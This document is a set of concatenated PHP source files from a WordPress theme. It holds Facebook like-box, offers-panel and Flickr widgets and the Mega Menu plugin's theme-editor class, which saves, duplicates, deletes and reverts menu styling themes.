'classname' => 'fdc_facebook_likebox',
'description' => __('fdc FACEBOOK LIKEBOX')
);
parent::__construct('fdc-facebook-likebox', __('fdc FACEBOOK LIKEBOX'), $widget_ops);
}
/*-----------------------------------------------------------------------------------*/
/* Display Widget
/*-----------------------------------------------------------------------------------*/
function widget($args, $instance){
extract( $args );
echo $before_widget;
$facebook_page = apply_filters('facebook_page', empty($instance['facebook_page']) ? '' : $instance['facebook_page'], $instance, $this->id_base);
$widget_width = apply_filters('widget_width', empty($instance['widget_width']) ? 320 : $instance['widget_width'], $instance, $this->id_base);
$widget_height = apply_filters('widget_height', empty($instance['widget_height']) ? 500 : $instance['widget_height'], $instance, $this->id_base);
$faces = apply_filters('faces', empty($instance['faces']) ? true : $instance['faces'], $instance, $this->id_base);
$posts = apply_filters('posts', empty($instance['posts']) ? true : $instance['posts'], $instance, $this->id_base);
$color_scheme = apply_filters('color_scheme', empty($instance['color_scheme']) ? true : $instance['color_scheme'], $instance, $this->id_base);
$header = apply_filters('header', empty($instance['header']) ? true : $instance['header'], $instance, $this->id_base);
$border = apply_filters('border', empty($instance['border']) ? true : $instance['border'], $instance, $this->id_base);
$appID = apply_filters('widget_title', empty($instance['appID']) ? '' : $instance['appID'], $instance, $this->id_base);
function ini_header_widget(){ ?>
<!-- FACEBOOK LIKEBOX SDK -->
<div id="fb-root"></div>
<script>(function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) return;
js = d.createElement(s); js.id = id;
js.src = "//connect.facebook.net/en_US/all.js#xfbml=1&appId=<?php echo $appID; ?>";
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));</script>
<?php
}
add_action('wp_footer', 'ini_header_widget');
?>
<div class="fb-like-box" data-href="https://www.facebook.com/<?php echo $facebook_page; ?>" data-width="<?php echo $widget_width; ?>" data-height="<?php echo $widget_height; ?>" data-colorscheme="<?php echo $color_scheme; ?>" data-show-faces="<?php echo $faces; ?>" data-header="<?php echo $header; ?>" data-stream="<?php echo $posts; ?>" data-show-border="<?php echo $border; ?>"></div>
<?php
//endif;
echo $after_widget;
}
/*-----------------------------------------------------------------------------------*/
/* Update Widget
/*-----------------------------------------------------------------------------------*/
function update( $new_instance, $old_instance ) {
$instance = $old_instance;
$instance['facebook_page'] = $new_instance['facebook_page'];
$instance['widget_width'] = $new_instance['widget_width'];
$instance['widget_height'] = $new_instance['widget_height'];
$instance['faces'] = $new_instance['faces'];
$instance['posts'] = $new_instance['posts'];
$instance['color_scheme'] = $new_instance['color_scheme'];
$instance['header'] = $new_instance['header'];
$instance['border'] = $new_instance['border'];
$instance['appID'] = $new_instance['appID'];
//$instance['cats'] = $new_instance['cats'];
//$instance['number'] = absint($new_instance['number']);
return $instance;
}
/*-----------------------------------------------------------------------------------*/
/* Widget Settings (Displays the widget settings controls on the widget panel)
/*-----------------------------------------------------------------------------------*/
function form( $instance ){
$facebook_page = isset($instance['facebook_page']) ? esc_attr($instance['facebook_page']) : '';
$widget_width = isset($instance['widget_width']) ? esc_attr($instance['widget_width']) : 320;
$widget_height = isset($instance['widget_height']) ? esc_attr($instance['widget_height']) : 500;
$faces = isset($instance['faces']) ? esc_attr($instance['faces']) : true;
$posts = isset($instance['posts']) ? esc_attr($instance['posts']) : true;
$color_scheme = isset($instance['color_scheme']) ? esc_attr($instance['color_scheme']) : 'light';
$header = isset($instance['header']) ? esc_attr($instance['header']) : true;
$border = isset($instance['border']) ? esc_attr($instance['border']) : true;
$appID = isset($instance['appID']) ? esc_attr($instance['appID']) : '';
?>
<p>
<label for="<?php echo $this->get_field_id('appID'); ?>">Facebook Page URL:</label>
<input class="widefat" id="<?php echo $this->get_field_id('facebook_page'); ?>" name="<?php echo $this->get_field_name('facebook_page'); ?>" type="text" value="<?php echo $facebook_page; ?>" />
</p>
<p>
<label for="<?php echo $this->get_field_id('widget_width'); ?>">Width:</label>
<input class="widefat" id="<?php echo $this->get_field_id('widget_width'); ?>" name="<?php echo $this->get_field_name('widget_width'); ?>" type="text" value="<?php echo $widget_width; ?>" />
</p>
<p>
<label for="<?php echo $this->get_field_id('appID'); ?>">Height:</label>
<input class="widefat" id="<?php echo $this->get_field_id('widget_height'); ?>" name="<?php echo $this->get_field_name('widget_height'); ?>" type="text" value="<?php echo $widget_height; ?>" />
</p>
<p>
<p>Show Friend's Faces:</p>
<label for="faces_true">Yes:</label>
<input class="widefat" id="faces_true" name="<?php echo $this->get_field_name('faces'); ?>" type="radio" value=true <?php if($faces == 'true') echo 'checked="checked"'; ?> />
<label for="faces_false">No:</label>
<input class="widefat" id="faces_false" name="<?php echo $this->get_field_name('faces'); ?>" type="radio" value=false <?php if($faces == 'false') echo 'checked="checked"'; ?> />
</p>
<p>
<p>Show Posts:</p>
<label for="show_posts">Yes:</label>
<input class="widefat" id="show_posts" name="<?php echo $this->get_field_name('posts'); ?>" type="radio" value=true <?php if($posts == 'true') echo 'checked="checked"'; ?> />
<label for="hide_posts">No:</label>
<input class="widefat" id="hide_posts" name="<?php echo $this->get_field_name('posts'); ?>" type="radio" value=false <?php if($posts == 'false') echo 'checked="checked"'; ?> />
</p>
<p>
<p>Color Scheme:</p>
<label for="color_scheme_light">Light:</label>
<input class="widefat" id="color_scheme_light" name="<?php echo $this->get_field_name('color_scheme'); ?>" type="radio" value="light" <?php if($color_scheme == 'light') echo 'checked="checked"'; ?> />
<label for="color_scheme_dark">Dark:</label>
<input class="widefat" id="color_scheme_dark" name="<?php echo $this->get_field_name('color_scheme'); ?>" type="radio" value="dark" <?php if($color_scheme == 'dark') echo 'checked="checked"'; ?> />
</p>
<p>
<p>Show Header:</p>
<label for="show_header">Yes:</label>
<input class="widefat" id="show_header" name="<?php echo $this->get_field_name('header'); ?>" type="radio" value=true <?php if($header == 'true') echo 'checked="checked"'; ?> />
<label for="hide_header">No:</label>
<input class="widefat" id="hide_header" name="<?php echo $this->get_field_name('header'); ?>" type="radio" value=false <?php if($header == 'false') echo 'checked="checked"'; ?> />
</p>
<p>
<p>Show Border:</p>
<label for="show_border">Yes:</label>
<input class="widefat" id="show_border" name="<?php echo $this->get_field_name('border'); ?>" type="radio" value=true <?php if($border == 'true') echo 'checked="checked"'; ?> />
<label for="hide_border">No:</label>
<input class="widefat" id="hide_border" name="<?php echo $this->get_field_name('border'); ?>" type="radio" value=false <?php if($border == 'false') echo 'checked="checked"'; ?> />
</p>
<p>
<label for="<?php echo $this->get_field_id('appID'); ?>">Facebook ID:</label>
<input class="widefat" id="<?php echo $this->get_field_id('appID'); ?>" name="<?php echo $this->get_field_name('appID'); ?>" type="text" value="<?php echo $appID; ?>" />
</p>
<?php
}
}
?>
<file_sep>/wp-content/themes/TWWF/widgets/offers-panel.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
add_action( 'widgets_init', 'offers_pannel' ); // function to load my widget
// function to register my widget
function offers_pannel(){
register_widget( 'offers_pannel' );
}
class offers_pannel extends WP_Widget{
/*-----------------------------------------------------------------------------------*/
/* Widget Setup
/*-----------------------------------------------------------------------------------*/
function __construct(){
$widget_ops = array(
'classname' => 'offers_pannel',
'description' => __('')
);
$this->WP_Widget( 'offers-pannel', __('TWWF Offers Panel'), $widget_ops );
}
/*-----------------------------------------------------------------------------------*/
/* Display Widget
/*-----------------------------------------------------------------------------------*/
function widget($args, $instance){
extract( $args );
echo $before_widget;
if( $title )
echo $before_title . $title . $after_title;
$image = apply_filters('image', empty($instance['image']) ? '' : $instance['image'], $instance, $this->id_base);
$title1 = apply_filters('title1', empty($instance['title1']) ? '' : $instance['title1'], $instance, $this->id_base);
$title2 = apply_filters('title2', empty($instance['title2']) ? '' : $instance['title2'], $instance, $this->id_base);
$color = apply_filters('color', empty($instance['color']) ? '' : $instance['color'], $instance, $this->id_base);
$description = apply_filters('description', empty($instance['description']) ? '' : $instance['description'], $instance, $this->id_base);
?>
<div class="panel-front">
<div class="panel-content">
<?php if( $image ): ?>
<img src="<?php echo $image; ?>" class="img-responsive" />
<?php
endif;
if( $title1 ):
?>
<h4><span><?php echo $title1; ?></span></h4>
<?php
endif;
if( $title2 ):
?>
<h4><i></i> <span><?php echo $title2; ?></span></h4>
<?php endif; ?>
</div><!-- panel-content end -->
</div><!-- panel-front end -->
<?php if( $description ): ?>
<div class="panel-back">
<div class="panel-content color-<?php echo $color; ?>">
<?php echo $description; ?>
</div><!-- panel-content end -->
</div><!-- panel-back end -->
<?php endif; ?>
<?php
echo $after_widget;
}
/*-----------------------------------------------------------------------------------*/
/* Update Widget
/*-----------------------------------------------------------------------------------*/
function update( $new_instance, $old_instance ) {
$instance = $old_instance;
$instance['image'] = $new_instance['image'];
$instance['title1'] = $new_instance['title1'];
$instance['title2'] = $new_instance['title2'];
$instance['color'] = $new_instance['color'];
$instance['description'] = $new_instance['description'];
return $instance;
}
/*-----------------------------------------------------------------------------------*/
/* Widget Settings (Displays the widget settings controls on the widget panel)
/*-----------------------------------------------------------------------------------*/
function form( $instance ){
$image = isset($instance['image']) ? esc_attr($instance['image']) : '';
$title1 = isset($instance['title1']) ? esc_attr($instance['title1']) : '';
$title2 = isset($instance['title2']) ? esc_attr($instance['title2']) : '';
$color = isset($instance['color']) ? esc_attr($instance['color']) : '';
$description = isset($instance['description']) ? esc_attr($instance['description']) : '';
?>
<div class="opt-separator">
<p>
<label>Select image</label>
<a href="#" class="ui-button ui-button-text-only upload_image_button">
<span class="dashicons dashicons-camera"></span>
</a>
</p>
<input type="hidden" id="opt_img" name="<?php echo $this->get_field_name('image'); ?>" value="<?php echo $image; ?>"/>
</div><!-- opt-separator end -->
<div class="opt-separator">
<label>Title #1</label>
<input type="text" id="<?php echo $this->get_field_id('title1'); ?>" name="<?php echo $this->get_field_name('title1'); ?>" value="<?php echo $title1; ?>"/>
</div><!-- opt-separator end -->
<div class="opt-separator">
<label>Title #2</label>
<input type="text" id="<?php echo $this->get_field_id('title2'); ?>" name="<?php echo $this->get_field_name('title2'); ?>" value="<?php echo $title2; ?>"/>
</div><!-- opt-separator end -->
<div class="opt-separator">
<label>Color</label>
<!-- <input type="text" id="<?php echo $this->get_field_id('title2'); ?>" name="<?php echo $this->get_field_name('title2'); ?>" value="<?php echo $title2; ?>"/> -->
<select name="<?php echo $this->get_field_name('color'); ?>" id="<?php echo $this->get_field_id('color'); ?>">
<option value="red">red</option>
<option value="blue">blue</option>
<option value="grey">grey</option>
<option value="green">green</option>
<option value="purple">purple</option>
<option value="yellow">yellow</option>
</select>
</div><!-- opt-separator end -->
<div class="opt-separator">
<label>Description</label>
<textarea class="widefat theEditor" rows="16" cols="20" id="<?php echo $this->get_field_id('description'); ?>" name="<?php echo $this->get_field_name('description'); ?>"><?php echo $description; ?></textarea>
</div><!-- opt-separator end -->
<style type="text/css" media="screen">
.opt-separator{padding:10px 0;}
.img-preview{width:300px; max-height:300px; overflow:hidden;}
.img-preview img{width:100%; height:auto;}
.remove-image{background:#FF0000; color:#fff !important; border:solid 1px #fff; text-decoration:none; font-weight:600; padding:5px;}
label{line-height:2; padding-right:10px; display:inline-block;}
</style>
<script>
//$(document).ready(function(){
/*---------------------------------------------------------*/
/* IMAGES UPLOAD */
/*---------------------------------------------------------*/
var file_frame,
wp_media_post_id = wp.media.model.settings.post.id, // Store the old id
set_to_post_id = 10; // Set this
$('.upload_image_button').on('click', function(e){
e.preventDefault();
// If the media frame already exists, reopen it.
if ( file_frame ){
// Set the post ID to what we want
file_frame.uploader.uploader.param( 'post_id', set_to_post_id );
// Open frame
file_frame.open();
return;
}else{
// Set the wp.media post id so the uploader grabs the ID we want when initialised
wp.media.model.settings.post.id = set_to_post_id;
}
// Create the media frame.
file_frame = wp.media.frames.file_frame = wp.media({
title: $(this).data( 'uploader_title' ),
button: {
text: $(this).data( 'uploader_button_text' ),
},
multiple: false // Set to true to allow multiple files to be selected
});
// When an image is selected, run a callback.
file_frame.on('select', function(){
// We set multiple to false so only get one image from the uploader
attachment = file_frame.state().get('selection').first().toJSON();
// Do something with attachment.id and/or attachment.url here
update_login_brand_preview(attachment.url);
// Restore the main post ID
wp.media.model.settings.post.id = wp_media_post_id;
});
// Finally, open the modal
file_frame.open();
});
// Restore the main ID when the add media button is pressed
$('a.add_media').on('click', function(){
wp.media.model.settings.post.id = wp_media_post_id;
});
function update_login_brand_preview(img_url){
var $opt_img = $('#opt_img');
$opt_img.val(img_url);
$('#login_brand').attr('src', img_url);
if( img_url ){
$('.img-preview').detach();
$opt_img.before('<div class="thumbnail img-preview space2">'+
'<img src="'+ img_url +'" id="login_brand" class="img-responsive" />'+
'<a href="#" class="btn btn-danger btn-xs remove-image" data-remove="opt_img"> X </a>'+
'</div>');
}
$('.img-preview .remove-image').on('click', function(e){
e.preventDefault();
var $this = $(this),
$data = $this.data('remove'),
$thumb = $this.parent();
$('#'+$data).val('');
$thumb.fadeOut(300);
});
$opt_img.change(function(){
$('#login_brand').attr('src', img_url);
});
}//update_login_brand_preview()
var $login_brand = $('#opt_img').val();
//console.log($login_brand);
update_login_brand_preview($login_brand);
//});
</script>
<?php
}
}
?>
<file_sep>/wp-content/themes/TWWF/lib/plugins/megamenu-1.3.1/classes/theme-editor.class.php
<?php
if ( ! defined( 'ABSPATH' ) ) {
exit; // disable direct access
}
if ( ! class_exists( 'Mega_Menu_theme_Editor' ) ) :
/**
* Handles all admin related functionality.
*/
class Mega_Menu_theme_Editor {
/**
* All themes (default and custom)
*/
var $themes = array();
/**
* Active theme
*/
var $active_theme = array();
/**
* Active theme ID
*/
var $id = "";
/**
* Constructor
*
* @since 1.0
*/
public function __construct() {
add_action( 'admin_post_megamenu_save_theme', array( $this, 'save') );
add_action( 'admin_post_megamenu_add_theme', array( $this, 'create') );
add_action( 'admin_post_megamenu_delete_theme', array( $this, 'delete') );
add_action( 'admin_post_megamenu_revert_theme', array( $this, 'revert') );
add_action( 'admin_post_megamenu_duplicate_theme', array( $this, 'duplicate') );
add_action( 'admin_menu', array( $this, 'megamenu_themes_page') );
add_action( "admin_enqueue_scripts", array( $this, 'enqueue_theme_editor_scripts' ) );
if ( class_exists( "Mega_Menu_Style_Manager" ) ) {
$style_manager = new Mega_Menu_Style_Manager();
$this->themes = $style_manager->get_themes();
$this->id = isset( $_GET['theme'] ) ? $_GET['theme'] : 'default';
$this->active_theme = $this->themes[$this->id];
}
}
/**
* Save changes to an exiting theme.
*
* @since 1.0
*/
public function save() {
check_admin_referer( 'megamenu_save_theme' );
$theme = esc_attr( $_POST['theme_id'] );
$saved_themes = get_site_option( "megamenu_themes" );
if ( isset( $saved_themes[ $theme ] ) ) {
unset( $saved_themes[ $theme ] );
}
$saved_themes[ $theme ] = array_map( 'esc_attr', $_POST['settings'] );
update_site_option( "megamenu_themes", $saved_themes );
do_action("megamenu_after_theme_save");
wp_redirect( admin_url( "themes.php?page=megamenu_theme_editor&theme={$theme}&saved=true" ) );
}
/**
* Duplicate an existing theme.
*
* @since 1.0
*/
public function duplicate() {
check_admin_referer( 'megamenu_duplicate_theme' );
$theme = esc_attr( $_GET['theme_id'] );
$copy = $this->themes[$theme];
$saved_themes = get_site_option( "megamenu_themes" );
$next_id = $this->get_next_theme_id();
$copy['title'] = $copy['title'] . " " . __('Copy', 'megamenu');
$new_theme_id = "custom_theme_" . $next_id;
$saved_themes[ 'custom_theme_' . $next_id ] = $copy;
update_site_option( "megamenu_themes", $saved_themes );
do_action("megamenu_after_theme_duplicate");
wp_redirect( admin_url( "themes.php?page=megamenu_theme_editor&theme={$new_theme_id}&duplicated=true") );
}
/**
* Delete a theme
*
* @since 1.0
*/
public function delete() {
check_admin_referer( 'megamenu_delete_theme' );
$theme = esc_attr( $_GET['theme_id'] );
if ( $this->theme_is_being_used_by_menu( $theme ) ) {
wp_redirect( admin_url( "themes.php?page=megamenu_theme_editor&theme={$theme}&deleted=false") );
return;
}
$saved_themes = get_site_option( "megamenu_themes" );
if ( isset( $saved_themes[$theme] ) ) {
unset( $saved_themes[$theme] );
}
update_site_option( "megamenu_themes", $saved_themes );
do_action("megamenu_after_theme_delete");
wp_redirect( admin_url( "themes.php?page=megamenu_theme_editor&theme=default&deleted=true") );
}
/**
* Revert a theme (only available for default themes, you can't revert a custom theme)
*
* @since 1.0
*/
public function revert() {
check_admin_referer( 'megamenu_revert_theme' );
$theme = esc_attr( $_GET['theme_id'] );
$saved_themes = get_site_option( "megamenu_themes" );
if ( isset( $saved_themes[$theme] ) ) {
unset( $saved_themes[$theme] );
}
update_site_option( "megamenu_themes", $saved_themes );
do_action("megamenu_after_theme_revert");
wp_redirect( admin_url( "themes.php?page=megamenu_theme_editor&theme={$theme}&reverted=true") );
}
/**
* Create a new custom theme
*
* @since 1.0
*/
public function create() {
check_admin_referer( 'megamenu_create_theme' );
$saved_themes = get_site_option( "megamenu_themes" );
$next_id = $this->get_next_theme_id();
$new_theme_id = "custom_theme_" . $next_id;
$new_theme = $this->themes['default'];
$new_theme['title'] = "Custom {$next_id}";
$saved_themes[$new_theme_id] = $new_theme;
update_site_option( "megamenu_themes", $saved_themes );
do_action("megamenu_after_theme_create");
wp_redirect( admin_url( "themes.php?page=megamenu_theme_editor&theme={$new_theme_id}&created=true") );
}
/**
* Returns the next available custom theme ID
*
* @since 1.0
*/
public function get_next_theme_id() {
$last_id = 0;
if ( $saved_themes = get_site_option( "megamenu_themes" ) ) {
foreach ( $saved_themes as $key => $value ) {
if ( strpos( $key, 'custom_theme' ) !== FALSE ) {
$parts = explode( "_", $key );
$theme_id = end( $parts );
if ($theme_id > $last_id) {
$last_id = $theme_id;
}
}
}
}
$next_id = $last_id + 1;
return $next_id;
}
/**
* Checks to see if a certain theme is in use.
*
* @since 1.0
* @param string $theme
*/
public function theme_is_being_used_by_menu( $theme ) {
$settings = get_site_option( "megamenu_settings" );
if ( ! $settings ) {
return false;
}
$locations = get_nav_menu_locations();
if ( count( $locations ) ) {
foreach ( $locations as $location => $menu_id ) {
if ( isset( $settings[ $location ]['theme'] ) && $settings[ $location ]['theme'] == $theme ) {
return true;
}
}
}
return false;
}
/**
* Adds the "Menu Themes" menu item and page.
*
* @since 1.0
*/
public function megamenu_themes_page() {
$page = add_theme_page(__('Mega Menu Themes', 'megamenu'), __('Menu Themes', 'megamenu'), 'edit_theme_options', 'megamenu_theme_editor', array($this, 'theme_editor' ) );
}
/**
* Main Menu Themes page content
*
* @since 1.0
*/
public function theme_editor() {
?>
<div class='megamenu_wrap'>
<div class='megamenu_right'>
<div class='theme_settings'>
<?php $this->print_messages(); ?>
<?php echo $this->form(); ?>
</div>
</div>
</div>
<div class='megamenu_left'>
<h4><?php _e("Select theme to edit", "megamenu"); ?></h4>
<ul class='megamenu_theme_selector'>
<?php echo $this->theme_selector(); ?>
</ul>
<a href='<?php echo wp_nonce_url(admin_url("admin-post.php?action=megamenu_add_theme"), 'megamenu_create_theme') ?>'><?php _e("Create a new theme", "megamenu"); ?></a>
</div>
<?php
}
/**
* Display messages to the user
*
* @since 1.0
*/
public function print_messages() {
$style_manager = new Mega_Menu_Style_Manager();
$test = $style_manager->generate_css_for_location( 'test', $this->active_theme, 0 );
if ( is_wp_error( $test ) ) {
echo "<p class='fail'>" . $test->get_error_message() . "</p>";
}
if ( isset( $_GET['deleted'] ) && $_GET['deleted'] == 'false' ) {
echo "<p class='fail'>" . __("Failed to delete theme. The theme is in use by a menu.", "megamenu") . "</p>";
}
if ( isset( $_GET['deleted'] ) && $_GET['deleted'] == 'true' ) {
echo "<p class='success'>" . __("Theme Deleted", "megamenu") . "</p>";
}
if ( isset( $_GET['duplicated'] ) ) {
echo "<p class='success'>" . __("Theme Duplicated", "megamenu") . "</p>";
}
if ( isset( $_GET['saved'] ) ) {
echo "<p class='success'>" . __("Changes Saved", "megamenu") . "</p>";
}
if ( isset( $_GET['reverted'] ) ) {
echo "<p class='success'>" . __("Theme Reverted", "megamenu") . "</p>";
}
if ( isset( $_GET['created'] ) ) {
echo "<p class='success'>" . __("New Theme Created", "megamenu") . "</p>";
}
}
/**
* Lists the available themes
*
* @since 1.0
*/
public function theme_selector() {
$list_items = "";
foreach ( $this->themes as $id => $theme ) {
$class = $id == $this->id ? 'mega_active' : '';
$style_manager = new Mega_Menu_Style_Manager();
$test = $style_manager->generate_css_for_location( 'tmp-location', $theme, 0 );
$error = is_wp_error( $test ) ? 'error' : '';
$list_items .= "<li class='{$class} {$error}'><a href='" . admin_url("themes.php?page=megamenu_theme_editor&theme={$id}") . "'>{$theme['title']}</a></li>";
}
return $list_items;
}
/**
* Checks to see if a given string contains any of the provided search terms
*
* @param srgin $key
* @param array $needles
* @since 1.0
*/
private function string_contains( $key, $needles ) {
foreach ( $needles as $needle ) {
if ( strpos( $key, $needle ) !== FALSE ) {
return true;
}
}
return false;
}
/**
* Displays the theme editor form.
*
* @since 1.0
*/
public function form() {
?>
<form action="<?php echo admin_url('admin-post.php'); ?>" method="post">
<input type="hidden" name="theme_id" value="<?php echo $this->id; ?>" />
<input type="hidden" name="action" value="megamenu_save_theme" />
<?php wp_nonce_field( 'megamenu_save_theme' ); ?>
<?php
$sorted_settings = array(
'general' => array(
'title' => __("General Settings", "megamenu"),
'settings' => array()
),
'container' => array(
'title' => __("Menu Bar", "megamenu"),
'settings' => array()
),
'top_level_menu_item' => array(
'title' => __("Top Level Menu Items", "megamenu"),
'settings' => array()
),
'panel' => array(
'title' => __("Mega Panels", "megamenu"),
'settings' => array()
),
'flyout' => array(
'title' => __("Flyout Menus", "megamenu"),
'settings' => array()
),
'custom_css' => array(
'title' => __("Custom SCSS", "megamenu"),
'settings' => array()
)
);
foreach ( $this->active_theme as $key => $value ) {
if ( $this->string_contains( $key, array( 'container' ) ) ) {
$sorted_settings['container']['settings'][$key] = $value;
}
else if ( $this->string_contains( $key, array( 'menu_item' ) ) ) {
$sorted_settings['top_level_menu_item']['settings'][$key] = $value;
}
else if ( $this->string_contains( $key, array ( 'panel') ) ) {
$sorted_settings['panel']['settings'][$key] = $value;
}
else if ( $this->string_contains( $key, array ( 'flyout') ) ) {
$sorted_settings['flyout']['settings'][$key] = $value;
}
else if ( $this->string_contains( $key, array ( 'custom_css') ) ) {
$sorted_settings['custom_css']['settings'][$key] = $value;
}
else {
$sorted_settings['general']['settings'][$key] = $value;
}
}
echo "<h3>" . __("Editing Theme: ", "megamenu") . $this->active_theme['title'] . "</h3>";
foreach ($sorted_settings as $section => $content ) {
echo "<h4>" . $content['title'] . "</h4>";
foreach ( $content['settings'] as $key => $value ) {
echo "<div class='row {$key}'><h5>" . ucwords(str_replace(array("_", "container", "menu item", "panel"), array(" ", "", "", ""), $key)) . "</h5>";
if ( $this->string_contains( $key, array( 'custom' ) ) ) {
$this->print_theme_textarea_option( $key, $value );
}
else if ( $this->string_contains( $key, array( 'color', 'background' ) ) ) {
$this->print_theme_color_option( $key, $value );
}
else if ( $this->string_contains( $key, array( 'weight' ) ) ) {
$this->print_theme_weight_option( $key, $value );
}
else if ( $this->string_contains( $key, array( 'font_size' ) ) ) {
$this->print_theme_freetext_option( $key, $value );
}
else if ( $this->string_contains( $key, array( 'font' ) ) ) {
$this->print_theme_font_option( $key, $value );
}
else if ( $this->string_contains( $key, array( 'transform' ) ) ) {
$this->print_theme_transform_option( $key, $value );
}
else if ( $this->string_contains( $key, array( 'arrow' ) ) ) {
$this->print_theme_arrow_option( $key, $value );
}
else if ( $this->string_contains( $key, array( 'title', 'top', 'left', 'bottom', 'right', 'spacing', 'height' ) ) ) {
$this->print_theme_freetext_option( $key, $value );
}
else {
$this->print_theme_freetext_option( $key, $value );
}
echo "</div>";
}
}
submit_button();
?>
<?php if ( $this->string_contains( $this->id, array("custom") ) ) : ?>
<a class='delete confirm' href='<?php echo wp_nonce_url(admin_url("admin-post.php?action=megamenu_delete_theme&theme_id={$this->id}"), 'megamenu_delete_theme') ?>'><?php _e("Delete Theme", "megamenu"); ?></a>
<?php else : ?>
<a class='revert confirm' href='<?php echo wp_nonce_url(admin_url("admin-post.php?action=megamenu_revert_theme&theme_id={$this->id}"), 'megamenu_revert_theme') ?>'><?php _e("Revert Changes", "megamenu"); ?></a>
<?php endif; ?>
<a class='duplicate' href='<?php echo wp_nonce_url(admin_url("admin-post.php?action=megamenu_duplicate_theme&theme_id={$this->id}"), 'megamenu_duplicate_theme') ?>'><?php _e("Duplicate Theme", "megamenu"); ?></a>
</form>
<?php
}
/**
* Print an arrow dropdown selection box
*
* @since 1.0
* @param string $key
* @param string $value
*/
public function print_theme_arrow_option( $key, $value ) {
$arrow_icons = $this->arrow_icons();
?>
<span class="selected_icon <?php echo $arrow_icons[$value] ?>"></span>
<select class='icon_dropdown' name='settings[<?php echo $key ?>]'>
<?php
echo "<option value='disabled'>" . __("Disabled", "megamenu") . "</option>";
foreach ($arrow_icons as $code => $class) {
$name = str_replace('dashicons-', '', $class);
$name = ucwords(str_replace(array('-','arrow'), ' ', $name));
echo "<option data-class='{$class}' value='{$code}' " . selected( $value == $code ) . ">{$name}</option>";
}
?>
</select>
<?php
}
/**
* Print a colorpicker
*
* @since 1.0
* @param string $key
* @param string $value
*/
public function print_theme_color_option( $key, $value ) {
if ( $value == 'transparent' ) {
$value = 'rgba(0,0,0,0)';
}
echo "<input type='text' class='mm_colorpicker' name='settings[$key]' value='{$value}' />";
}
/**
* Print a font weight selector
*
* @since 1.0
* @param string $key
* @param string $value
*/
public function print_theme_weight_option( $key, $value ) {
echo "<select name='settings[$key]'>";
echo " <option value='normal' " . selected( $value, 'normal', true) . ">" . __("Normal", "megamenu") . "</option>";
echo " <option value='bold'" . selected( $value, 'bold', true) . ">" . __("Bold", "megamenu") . "</option>";
echo "</select>";
}
/**
* Print a font transform selector
*
* @since 1.0
* @param string $key
* @param string $value
*/
public function print_theme_transform_option( $key, $value ) {
echo "<select name='settings[$key]'>";
echo " <option value='none' " . selected( $value, 'none', true) . ">" . __("Normal", "megamenu") . "</option>";
echo " <option value='capitalize'" . selected( $value, 'capitalize', true) . ">" . __("Capitalize", "megamenu") . "</option>";
echo " <option value='uppercase'" . selected( $value, 'uppercase', true) . ">" . __("Uppercase", "megamenu") . "</option>";
echo " <option value='lowercase'" . selected( $value, 'lowercase', true) . ">" . __("Lowercase", "megamenu") . "</option>";
echo "</select>";
}
/**
* Print a textarea
*
* @since 1.0
* @param string $key
* @param string $value
*/
public function print_theme_textarea_option( $key, $value ) {
echo "<textarea name='settings[$key]'>" . stripslashes( $value ) . "</textarea>";
}
/**
* Print a font selector
*
* @since 1.0
* @param string $key
* @param string $value
*/
public function print_theme_font_option( $key, $value ) {
echo "<select name='settings[$key]'>";
echo "<option value='inherit'>" . __("Theme Default", "megamenu") . "</option>";
foreach ( $this->fonts() as $font ) {
echo "<option value=\"{$font}\" " . selected( $font, $value ) . ">{$font}</option>";
}
echo "</select>";
}
/**
* Print a text input
*
* @since 1.0
* @param string $key
* @param string $value
*/
public function print_theme_freetext_option( $key, $value ) {
echo "<input type='text' name='settings[$key]' value='{$value}' />";
}
/**
* Returns a list of available fonts.
*
* @since 1.0
*/
public function fonts() {
$fonts = array(
"Georgia, serif",
"Palatino Linotype, Book Antiqua, Palatino, serif",
"Times New Roman, Times, serif",
"Arial, Helvetica, sans-serif",
"Arial Black, Gadget, sans-serif",
"Comic Sans MS, cursive, sans-serif",
"Impact, Charcoal, sans-serif",
"Lucida Sans Unicode, Lucida Grande, sans-serif",
"Tahoma, Geneva, sans-serif",
"Trebuchet MS, Helvetica, sans-serif",
"Verdana, Geneva, sans-serif",
"Courier New, Courier, monospace",
"Lucida Console, Monaco, monospace"
);
$fonts = apply_filters( "megamenu_fonts", $fonts );
return $fonts;
}
/**
* List of all available arrow DashIcon classes.
*
* @since 1.0
* @return array - Sorted list of icon classes
*/
private function arrow_icons() {
$icons = array(
'dash-f142' => 'dashicons-arrow-up',
'dash-f140' => 'dashicons-arrow-down',
'dash-f139' => 'dashicons-arrow-right',
'dash-f141' => 'dashicons-arrow-left',
'dash-f342' => 'dashicons-arrow-up-alt',
'dash-f346' => 'dashicons-arrow-down-alt',
'dash-f344' => 'dashicons-arrow-right-alt',
'dash-f340' => 'dashicons-arrow-left-alt',
'dash-f343' => 'dashicons-arrow-up-alt2',
'dash-f347' => 'dashicons-arrow-down-alt2',
'dash-f345' => 'dashicons-arrow-right-alt2',
'dash-f341' => 'dashicons-arrow-left-alt2',
);
$icons = apply_filters( "megamenu_arrow_icons", $icons );
return $icons;
}
/**
* Enqueue required CSS and JS for Mega Menu
*
* @since 1.0
*/
public function enqueue_theme_editor_scripts( $hook ) {
if( 'appearance_page_megamenu_theme_editor' != $hook )
return;
wp_enqueue_style( 'spectrum', MEGAMENU_BASE_URL . 'js/spectrum/spectrum.css', false, MEGAMENU_VERSION );
wp_enqueue_style( 'mega-menu-theme-editor', MEGAMENU_BASE_URL . 'css/theme-editor.css', false, MEGAMENU_VERSION );
wp_enqueue_script( 'mega-menu-theme-editor', MEGAMENU_BASE_URL . 'js/theme-editor.js', array('jquery'), MEGAMENU_VERSION );
wp_enqueue_script( 'spectrum', MEGAMENU_BASE_URL . 'js/spectrum/spectrum.js', array( 'jquery' ), MEGAMENU_VERSION );
wp_localize_script( 'mega-menu-theme-editor', 'megamenu_theme_editor',
array(
'confirm' => __("Are you sure?", "megamenu")
)
);
}
}
endif;<file_sep>/wp-content/themes/TWWF/lib/widgets/fdc-flickr-widget.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
add_action( 'widgets_init', 'fdc_flickr_widget' );
function fdc_flickr_widget() {
register_widget( 'fdc_flickr_widget' );
}
class fdc_flickr_widget extends WP_Widget{
// Initialize the widget
function __construct(){
$widget_ops = array(
'classname' => 'fdc-flickr-widget',
'description' => __('A widget that show images from flickr')
);
